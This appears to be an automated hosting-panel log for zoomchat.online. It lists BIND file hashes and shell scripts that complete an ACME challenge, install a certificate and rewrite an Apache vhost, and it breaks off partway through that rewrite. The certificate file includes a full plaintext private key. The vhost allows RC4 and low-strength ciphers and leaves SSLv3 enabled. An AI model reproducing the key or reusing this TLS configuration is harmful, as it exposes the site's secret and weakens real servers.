MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-22 12:26:51: Establishing a connection
2025-10-22 12:26:53: Establishing a connection
2025-10-22 12:26:54: 

PUT: /tmp/pkp849328

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-22 12:26:55: 

chmod 755 /tmp/pkp849328; /tmp/pkp849328; rm /tmp/pkp849328

2025-10-22 12:26:55: 


1


2025-10-22 12:26:57: Establishing a connection
2025-10-22 12:26:58: 

PUT: /tmp/pkp839102

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > 6vKWQ4cbWoRgQRTdedW_NCUpyAY0fAFxbiFW11jU-wk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6vKWQ4cbWoRgQRTdedW_NCUpyAY0fAFxbiFW11jU-wk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6vKWQ4cbWoRgQRTdedW_NCUpyAY0fAFxbiFW11jU-wk


2025-10-22 12:26:59: 

chmod 755 /tmp/pkp839102; /tmp/pkp839102; rm /tmp/pkp839102

2025-10-22 12:26:59: 




2025-10-22 12:27:03: Establishing a connection
2025-10-22 12:27:04: 

PUT: /tmp/pkp568746

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm 6vKWQ4cbWoRgQRTdedW_NCUpyAY0fAFxbiFW11jU-wk


2025-10-22 12:27:05: 

chmod 755 /tmp/pkp568746; /tmp/pkp568746; rm /tmp/pkp568746

2025-10-22 12:27:05: 




2025-10-22 12:27:05: Establishing a connection
2025-10-22 12:27:06: 

PUT: /tmp/pkp732585

#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt

cat > $temp_file <<'endmsg'
e5:3e:f3:a6:9d:0e:04:b3:94:dc:a3:e4:31:9a:33:4e

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBYhLh3IQVYZN2N1YrSg5ra3uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMTEyODMyWhcNMjYwMTIwMTEyODMxWjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCs+HTNUhLqh4lzT+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/w
CuK4JsneXsVvyG6ghPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbr
qHHXKwjd1/GlmDZc1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+
J4yLWLqFMHuwPjIirMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GW
qaazj0c7nLJo62OFEbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+
7V6vWsiY1KRoIVUe9mvcUwydAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFA00ypFYD/Y14WuFHE8uzsd4tUUTMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPem9vbWNoYXQub25saW5lMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTExLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AGQR
xGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmgvjE7oAAAQDAEcwRQIh
ANq+uZ9Utz1T41tLbU2niCt7EEuiADgG84Qi4qFiecZuAiAmlUM9yDKDwUNZKTeq
Z7eb2RIkBAb24C21JqdLhx1cdwB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmgvjE90AAAQDAEgwRgIhAKMyPVNcQCvadFGU/9I7Ha9G524s+erL
0PsQm6lLACMtAiEAgwfLGFoNSdKhxNPz3HzgF4g9D3wFZPNRYH9HUcSOIdUwDQYJ
KoZIhvcNAQELBQADggEBAG0PMkKKd90N85EnhPW8JKUuMGT/amnIRxrgpGgGH7cC
nVWZgg8tl01mOLgWvbBNdA14shWyjnZI2LNNHz0MurLS1BGbvW90mDDCnKCk5ga3
jIvkZJBWbg1r1TfX5OULAnUmCG+biKSJRVGK9JpGJfxRIJkmiLShAY/F2d4y/blz
ltt8BuuT3YfN58I9Hc07ogVM7wIWZHR2zLmYody0sU7Kd0wuFpI8mkTFNeKB7P0v
B3Ao5hgOlwCL1ZDvOMRCWyOqosfoiy7Ms1pxjvbZbG/rLHy3l8mJoAHnJJGT80r0
VO7U0s+ODG5mZvmJ67ygs+CJIYjqPMJHGLBADap0lR0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCs+HTNUhLqh4lz
T+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/wCuK4JsneXsVvyG6g
hPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbrqHHXKwjd1/GlmDZc
1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+J4yLWLqFMHuwPjIi
rMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GWqaazj0c7nLJo62OF
EbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+7V6vWsiY1KRoIVUe
9mvcUwydAgMBAAECggEAG7nDtzmlsJRDMwmmHX5cWy4oN9pZgI/H4EamJ5DI3y98
m6500IpqMDvEIn6st5R3HP+SsiNM0Is3OGG26fDvrWwGoQ5qQUeCbPbCoDphINwC
MHZwT16RYi1irV90Zafdf5j1VeIMaPfKFv3DHd/ma4I2Ked+Y7y4MjnPNH+/Ywmw
AR8TksJikVeQN4ylndzQrRFA1Kw+rk73PXyTj/QNd7++wu9jJDxjEJMR7ixBXOKn
1ZPCtrvLnMk3s82KWy9QwbZnHTlyVzeIvJMJeFvzOOHxCHZZCfAqLLYQIcxBpjRY
hDLJcIUJA2r8+rKPIfR7p5JS8DIlOWy7M+6vuySKIQKBgQDlZ7W8N0dPn8Km5ZRa
vjyiK5wPvxnifFsKteBbLo3yreHxkINhJuACyk747zkI335AxOK3akf2Ebzu5S1D
0iKoUZ78MJ072nZstzQzIABo6yBkac8vFg5n0eslPggQUs8rrVvVYGnRQeO7/7ty
bG+4L5t7mEjRdfMj8iP0VPoVKQKBgQDBBeEn3SwBRGyy5ydx4l8Yb1XIPPXJ502W
AIepHp02cAmLQtARC0vt7hg2vs7yJhy8dD7fUtxinlaPFU9fc+vomH9rJX+CoKO0
o4RNAsz7yKUsq/+MlhUZgg+4wEIdFL1aRq+6onnQhGVwwpQQ0xQ2tynnfbq/xx7y
KgW5TkSWVQKBgBc/5YlHyPBm7qFfjyOLODXvWYe3BHaRx+BUAoL7OuOnf8itrsL/
36AoxMwx4oPlsrP5wEh6ewSTU6SakXXYLC8G5qgEfUr9nxbxklbEHYaEnenPV3Ic
OCWJft1tZf/RhLGWhkIf3VmZ5ey9xE+acdAm8wkZq/eejp/MAJzYp+fRAoGAf0+7
dCmjDqrs7wsbrzfZ9Snp8IqUqzkOqXNsBxYUJ4W6JcpJphRHXoV+Hw23PWv55Crg
FTh39+vrt7AcjB7PaLi8whUXhzchAtIfPxQr055Bo7dGdJnBDPQGHptggAHf6p1Y
5sanhertZXRRaM9wM66XywHYnQle1eb1o4WGI4kCgYEAjpIpnCTz6RpFD4O9K/1e
ij0n3tthGzfpKcYJEQnn5Sm4hj3UIdzSAlxrbvNiI1A6oMGUeHa7uoV1HSBfyAlS
iS6lwhi6uscSyvKkKkuzyPAsHqLlyYlWpdVvCG/s6lWZ7fd4WuZuqXe3MehtYNye
6DxNZENRXjqV4clN9X2dq14=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-22 12:27:07: 

chmod 755 /tmp/pkp732585; /tmp/pkp732585; rm /tmp/pkp732585

2025-10-22 12:27:07: 


dir=/etc/pki/tls/certs/


2025-10-22 12:27:07: 

PUT: /tmp/pkp670287

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-22 12:27:08: 

chmod 755 /tmp/pkp670287; /tmp/pkp670287; rm /tmp/pkp670287

2025-10-22 12:27:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 1728

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header unset ETag	
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
    </Directory>
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-10-22 12:27:08: 

PUT: /tmp/pkp656097

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
